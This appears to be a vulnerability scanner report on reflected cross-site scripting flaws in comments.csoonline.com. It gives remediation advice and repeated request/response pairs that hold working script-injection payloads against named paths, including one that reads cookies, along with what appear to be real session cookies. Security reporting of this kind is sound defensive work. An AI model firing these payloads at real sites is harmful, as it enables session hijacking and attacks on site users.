Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9bd8"><script>alert(1)</script>cbf29c1b127 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c9bd8"><script>alert(1)</script>cbf29c1b127/csocomments_favicon.ico HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33673
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 849b1"%3b189334f2a1f was submitted in the REST URL parameter 1. This input was echoed as 849b1";189334f2a1f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /files849b1"%3b189334f2a1f/csocomments_favicon.ico HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:30 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33613
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 333b8"%3b26136881516 was submitted in the REST URL parameter 2. This input was echoed as 333b8";26136881516 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /files/csocomments_favicon.ico333b8"%3b26136881516 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:33 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:33 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33613
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 14fac"><script>alert(1)</script>dc54f79142d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /files/14fac"><script>alert(1)</script>dc54f79142d HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:33 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:33 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33619
1.5. http://comments.csoonline.com/files/csocomments_favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/files/csocomments_favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c374d"><script>alert(1)</script>283a11c7a62 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /files/csocomments_favicon.ico?c374d"><script>alert(1)</script>283a11c7a62=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:24 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:24 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33697
1.6. http://comments.csoonline.com/files/csocomments_favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/files/csocomments_favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 78001"-alert(1)-"3356cf7e2ee was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /files/csocomments_favicon.ico?78001"-alert(1)-"3356cf7e2ee=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47; s_cc=true; s_sq=%5B%5BB%5D%5D
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:27 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33652
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1be02"%3bcbdd094398f was submitted in the REST URL parameter 1. This input was echoed as 1be02";cbdd094398f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images1be02"%3bcbdd094398f/global/logo-techwords.gif HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:22 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33622
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c781b"><script>alert(1)</script>e7daab9589f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /c781b"><script>alert(1)</script>e7daab9589f/global/logo-techwords.gif HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:20 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:21 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33679
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8a54a"><script>alert(1)</script>917b628f55 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images/8a54a"><script>alert(1)</script>917b628f55/logo-techwords.gif HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:27 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:27 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33676
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1359c"%3bbed5f7e89d2 was submitted in the REST URL parameter 2. This input was echoed as 1359c";bed5f7e89d2 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/global1359c"%3bbed5f7e89d2/logo-techwords.gif HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:27 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:27 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33622
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 409e8"%3b37e874acee2 was submitted in the REST URL parameter 3. This input was echoed as 409e8";37e874acee2 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/global/logo-techwords.gif409e8"%3b37e874acee2 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:32 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:32 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33622
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4221"><script>alert(1)</script>aa87fe73910 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images/global/f4221"><script>alert(1)</script>aa87fe73910 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:32 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:32 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33643
1.13. http://comments.csoonline.com/images/global/logo-techwords.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/images/global/logo-techwords.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 281dc"-alert(1)-"b424eb1a844 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /images/global/logo-techwords.gif?281dc"-alert(1)-"b424eb1a844=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:18 GMT Server: Apache/2.2.3 (Red Hat) X-Powered-By: PHP/5.2.11 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:18 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33661
1.14. http://comments.csoonline.com/images/global/logo-techwords.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://comments.csoonline.com
Path:
/images/global/logo-techwords.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 87c72"><script>alert(1)</script>8b8d6891bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /images/global/logo-techwords.gif?87c72"><script>alert(1)</script>8b8d6891bc=1 HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://comments.csoonline.com/febf8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E3a3399f1586/CIO.com/style.css Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1; PHPSESSID=f27pf1mtv6mhneqphta2v7dv47
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 13:19:14 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 13:19:15 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33703
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload febf8"><script>alert(1)</script>3a3399f1586 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /febf8"><script>alert(1)</script>3a3399f1586/CIO.com/style.css HTTP/1.1 Host: comments.csoonline.com Proxy-Connection: keep-alive Referer: http://www.csoonline.com/article/486324/security-tools-templates-policies Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=209317120.1298897096.1.1.utmcsr=ncircle.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.php; s_pers=%20s_pv%3DArticle%253A486324%253ASecurity%2520Tools%252C%2520Templates%252C%2520Policies%7C1298898971263%3B; s_sess=%20s_cc%3Dtrue%3B%20SC_LINKS%3D%3B%20s_ppv%3D0%3B%20s_sq%3D%3B; __utma=209317120.1042616613.1298897096.1298897096.1298897096.1; __utmc=209317120; __utmb=209317120.2.10.1298897096; __switchTo5x=4; __unam=db592fa-12e6c4e2ed5-37f53805-1
Response
HTTP/1.0 404 Not Found Date: Mon, 28 Feb 2011 12:46:30 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=g6huf2ji8k7ivgb0834tshe013; expires=Wed, 23-Mar-2011 16:19:50 GMT; path=/; domain=.comments.csoonline.com Expires: Sun, 19 Nov 1978 05:00:00 GMT Last-Modified: Mon, 28 Feb 2011 12:46:30 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 33655
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7bb24"%3b29e03e834a6 was submitted in the REST URL parameter 1. This input was echoed as 7bb24";29e03e834a6 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
